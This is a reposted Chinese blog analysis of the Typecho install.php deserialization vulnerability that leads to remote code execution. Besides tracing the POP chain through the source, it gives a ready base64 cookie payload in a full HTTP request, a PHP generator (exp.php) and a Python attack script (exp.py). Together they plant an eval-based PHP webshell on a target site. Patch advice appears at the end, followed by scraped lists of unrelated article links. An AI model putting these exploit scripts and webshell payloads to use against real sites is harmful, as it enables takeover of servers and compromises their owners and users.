转载--Typecho install.php 反序列化导致任意代码执行

原文链接(http://p0sec.net/index.php/archives/114/)

0x00 前言

漏洞公布已经过去一段时间了,当时只是利用了一下,并没有进行深度分析,现转载文章以便以后查看。

听说了这个洞,吓得赶紧去看了一下自己的博客,发现自己中招了,赶紧删除install目录。

恶意代码的大致操作顺序:

  1. base64解码后反序列化cookie中传入的__typecho_config参数,
  2. 然后让__typecho_config作为构造参数例化一个Typecho_Db类,
  3. 接着通过POP链进行代码执行。

涉及到的文件还有类名

install.php(unserialize) – >  Db.php(class Typecho_Db)  – >  Feed.php (class Typecho_Feed) – >  Request.php (class Typecho_Request)

0x01 Payload

GET /typecho/install.php?finish=1 HTTP/1.1
Host: 192.168.211.169
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://192.168.211.169/typecho/install.php
Connection: close
Upgrade-Insecure-Requests: 1

便会在网站根目录下生产一句话p0.php,密码p0

0x02 反序列化可控点

install.php 288-235行

<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

第230行获取cookie中的__typecho_config值base64解码,然后反序列化。想要执行,只需isset($_GET['finish'])并且__typecho_config存在值。

反序列化后232行把$config['adapter']$config['prefix']传入Typecho_Db进行实例化。然后调用Typecho_DbaddServer方法,调用Typecho_Config实例化工厂函数对Typecho_Config类进行实例化。

0x03 反序列化触发点

全局搜索__destruct()__wakeup()

只发现了两处__destruct(),跟进去并没发现可利用的地方。

继续看Typecho_Db

构造方法,Db.php 114-135行

public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName; /** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
} $this->_prefix = $prefix; /** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array(); //实例化适配器对象
$this->_adapter = new $adapterName();
}

发现第120行对传入的$adapterName进行了字符串的拼接操作。那么如果$adapterName传入的是个实例化对象,就会触发该对象的__toString()魔术方法。

全局搜索__toString()

发现三处,跟进,第一个发现并没有可以直接利用的地方。

跟进Typecho_Query类的__toString()魔术方法,Query.php 488-519行:

public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
} return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}

第492行$this->_adapter调用parseSelect()方法,如果该实例化对象在对象上下文中调用不可访问的方法时触发,便会触发__call()魔术方法。

全局搜索__call()

发现几处,挨个跟进发现Typecho_Plugin类的__call()魔术方法存在回调函数,Plugin.php 479-494行:

public function __call($component, $args)
{
$component = $this->_handle . ':' . $component;
$last = count($args);
$args[$last] = $last > 0 ? $args[0] : false; if (isset(self::$_plugins['handles'][$component])) {
$args[$last] = NULL;
$this->_signal = true;
foreach (self::$_plugins['handles'][$component] as $callback) {
$args[$last] = call_user_func_array($callback, $args);
}
} return $args[$last];
}

$component是调用失败的方法名,$args是调用时的参数。均可控,但是根据上文,$args必须存在array('action'=>'SELECT'),然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了一个长度,导致$args长度至少为3,那么call_user_func_array()便无法正常执行。所以此路就不通了。

继续跟进Typecho_Feed类的__toString()魔术方法,Feed.php 340-360行

} else if (self::ATOM1 == $this->_type) {
$result .= '<feed xmlns="http://www.w3.org/2005/Atom"
xmlns:thr="http://purl.org/syndication/thread/1.0"
xml:lang="' . $this->_lang . '"
xml:base="' . $this->_baseUrl . '"
>' . self::EOL; $content = '';
$lastUpdate = 0; foreach ($this->_items as $item) {
$content .= '<entry>' . self::EOL;
$content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
$content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
$content .= '<id>' . $item['link'] . '</id>' . self::EOL;
$content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
$content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
$content .= '<author>
<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;

第358行$item['author']调用screenName属性,如果该实例化对象用于从不可访问的属性读取数据,便会触发__get()魔术方法。

全局搜索__get()

发现了几处,最终确定Typecho_Request类存在可利用的地方

__get()魔术方法调用get()方法,Request.php 293-309行:

public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
} $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

308行调用_applyFilter()方法,传入的$value$this->_params[$key]的值,$key就是screenName

跟进_applyFilter(),Request.php 159-171行:

private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
} $this->_filter = array();
} return $value;
}

第163行array_map和164行call_user_func均可造成任意代码执行。

0x04 构造Payload

Payload  exp.php

<?php

class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array(); public function addItem(array $item){
$this->_items[] = $item;
}
} class Typecho_Request{
private $_params = array('screenName'=>'file_put_contents(\'p0.php\', \'<?php @eval($_POST[p0]);?>\')');
private $_filter = array('assert');
} $payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));
?>

编写payload的简单思路:

最外层$exp是数组,数组中的’adapter’是Typecho_Feed的实例$payload1,
$payload1的构造参数是’ATOM 1.0’用于控制分支,
$payload2是Typecho_Request的实例,
private $_filter ,private $_params是传给call_user_func的参数,也就是通过assert写shell
然后$payload2通过additem添加到$payload的$_items的变量中
最后把$payload1添加到最外层的$exp数组中

Getshell  exp.py

import requests
import os if __name__ == '__main__':
print ''' ____ ____ _ _ _
| __ ) _ _ | _ \ __ _(_) || | _____ _____ _ __
| _ \| | | | | |_) / _` | | || |_ / _ \ \ / / _ \ '__|
| |_) | |_| | | _ < (_| | |__ _| (_) \ V / __/ |
|____/ \__, | |_| \_\__,_|_| |_| \___/ \_/ \___|_|
|___/
''' targert_url = 'http://www.xxxxxxxx.xyz'; rsp = requests.get(targert_url + "/install.php");
if rsp.status_code != 200:
exit('The attack failed and the problem file does not exist !!!')
else:
print 'You are lucky, the problem file exists, immediately attack !!!' proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", } typecho_config = os.popen('php exp.php').read() headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Cookie': 'antispame=1508415662; antispamkey=cc7dffeba8d48da508df125b5a50edbd; PHPSESSID=po1hggbeslfoglbvurjjt2lcg0; __typecho_lang=zh_CN;__typecho_config={typecho_config};'.format(typecho_config=typecho_config),
'Referer': targert_url} url = targert_url + "/install.php?finish=1" requests.get(url,headers=headers,allow_redirects=False) shell_url = targert_url + '/usr/themes/default/img/c.php'
if requests.get(shell_url).status_code == 200:
print 'shell_url: ' + shell_url
else:
print "Getshell Fail!"

0x05 修补方法

  • 官方已经发布了1.1Beta版本修复了该漏洞,升级该版本,链接:http://typecho.org/archives/133/
  • 也可以删除掉install.php和install目录。

 

注:代码仅用于学习研究,请勿用于非法用途恶意攻击,概不负责。

转载--Typecho install.php 反序列化导致任意代码执行的更多相关文章

  1. ref:CodeIgniter框架内核设计缺陷可能导致任意代码执行

    ref:https://www.seebug.org/vuldb/ssvid-96217 简要描述: 为准备乌云深圳沙龙,准备几个0day做案例. 官方承认这个问题,说明会发布补丁,但不愿承认这是个『 ...

  2. fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

    环境搭建: 漏洞影响版本: fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞 环境地址: https://github.com/vulhub/vulhub/tree/master ...

  3. 关于Fastjson 1.2.24 反序列化导致任意命令执行漏洞

    环境搭建: sudo apt install docker.io git clone https://github.com/vulhub/vulhub.git cd vulhub fastjson 1 ...

  4. fastjson 1.2.24 反序列化导致任意命令执行漏洞

    漏洞检测 区分 Fastjson 和 Jackson {"name":"S","age":21} 和 {"name":& ...

  5. Typecho V1.1反序列化导致代码执行分析

    0x00  前言     今天在Seebug的公众号看到了Typecho的一个前台getshell分析的文章,然后自己也想来学习一下.保持对行内的关注,了解最新的漏洞很重要. 0x01  什么是反序列 ...

  6. 帝国CMS(EmpireCMS) v7.5后台任意代码执行

    帝国CMS(EmpireCMS) v7.5后台任意代码执行 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行. 二 ...

  7. Apache Flink任意Jar包上传导致远程代码执行漏洞复现

    0x00 简介 Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎.Flink以数据并行和流水线方式执行任意流数据程序,Fl ...

  8. 「漏洞预警」Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现

    漏洞描述 Apache Flink是一个用于分布式流和批处理数据的开放源码平台.Flink的核心是一个流数据流引擎,它为数据流上的分布式计算提供数据分发.通信和容错功能.Flink在流引擎之上构建批处 ...

  9. [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行

    0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...

随机推荐

  1. 移动端自动化自动化(Android&iOS)——Appium

    Appium-Python 移动端自动化环境搭建 Appium介绍 Appium是一个开源.跨平台的测试框架,可以用来测试原生及混合的移动端应用.Appium支持iOS.Android及Firefox ...

  2. 【原创】修复ios输入框获取焦点时不支持fixed的bug

    前些日子,做了一个手机站的项目,有一个页面是这样的, 有一个固定(position:fixed)的头部和底部导航,中间是一些表单内容,没啥特别的.但是到了ios中,正常滚动页面没有问题,一旦触发了文本 ...

  3. Python学习笔记(九)

    Python学习笔记(九): 装饰器(函数) 内置函数 1. 装饰器 1. 作用域 2. 高阶函数 3. 闭包 如果在一个内部函数里,对在外部作用域(但不是在全局作用域)的变量进行引用,那么内部函数就 ...

  4. WordPress 4.8 安装配置教程 (基于 centos 7.3, php 7.0, mysql 5.7.19, nginx 1.12.1)

    最近想要整个 blog,记录自己工作.学习中的点滴.Wordpress 自然是首选,因为内容才是关键,所以也就不怕别人说太 low.网上大部份都是讲 wordpress 配合 apache 的安装教程 ...

  5. ELK系列~NLog.Targets.Fluentd到达如何通过tcp发到fluentd

    最近火的不能再火的日志框架就是ELK,其中E(Elasticsearch)表示日志存储,L(Logstash)表示日志收集,K(kibana)表示日志的UI界面,用来查询和分析,而其中的L可以使用Fl ...

  6. SQL Server Alwayson概念总结

    一.alwayson概念 “可用性组” 针对一组离散的用户数据库(称为“可用性数据库” ,它们共同实现故障转移)支持故障转移环境. 一个可用性组支持一组主数据库以及一至八组对应的辅助数据库(包括一个主 ...

  7. python 文件相关知识

    字符编码相关 什么是字符编码 字符编码的类型 字符编码的使用 python2和python里字符编码的区别 文件的相关 文件的基础操作 打开文件的模式 字符编码 什么是字符编码在计算机里只识别二进制, ...

  8. A Very Simple Problem

    A Very Simple Problem Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Other ...

  9. IdentityServer4 指定角色授权(Authorize(Roles="admin"))

    1. 业务场景 IdentityServer4 授权配置Client中的AllowedScopes,设置的是具体的 API 站点名字,也就是使用方设置的ApiName,示例代码: //授权中心配置 n ...

  10. JAVASE高级2

    反射概述 什么是反射? 反射的的概念是有smith1982年首次提出的,zhuy主要是指程序可以访问.检测和修改它本身状态或行为的一种能力. JAVA反射机制是运行状态中,对于任意一个类,都能够知道这 ...